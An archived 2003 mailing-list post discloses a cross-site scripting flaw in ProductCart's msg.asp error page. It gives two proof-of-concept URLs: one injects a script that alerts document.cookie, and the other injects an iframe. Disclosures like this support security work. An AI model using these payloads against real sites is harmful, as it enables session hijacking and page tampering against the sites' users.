ProductCart XSS Vulnerability

From: atomix atomix (at0mix87at_private)
Date: Fri Jul 04 2003 - 22:29:49 PDT

  • Next message: KF: "Re: [Full-Disclosure] Re: [sec-labs] Adobe Acrobat Reader <=5.0.7 Buffer Overflow Vulnerability + PoC code" 

    
 ('binary' encoding is not supported, stored as-is)
#####################
#  ProductCart XSS  #
#   Vulnerability   #
#  found by atomix  #
#####################

i came across the fact that in an area of ProductCart you are able to 
manipulate the error message, therefore allowing tags such as &lt;script&gt; and 
<iframe> to be used:

http://www.website.com/ProductCart/pc/msg.asp?message=>&lt;script&gt;alert
(document.cookie);&lt;/script&gt;

http://www.website.com/ProductCart/pc/msg.asp?message=="C:\"%
20width=400%20height=400></iframe>

-atomix | atom b0mbs

    

    
    


    

    


This archive was generated by hypermail 2b30 
: Mon Jul 07 2003 - 15:59:12 PDT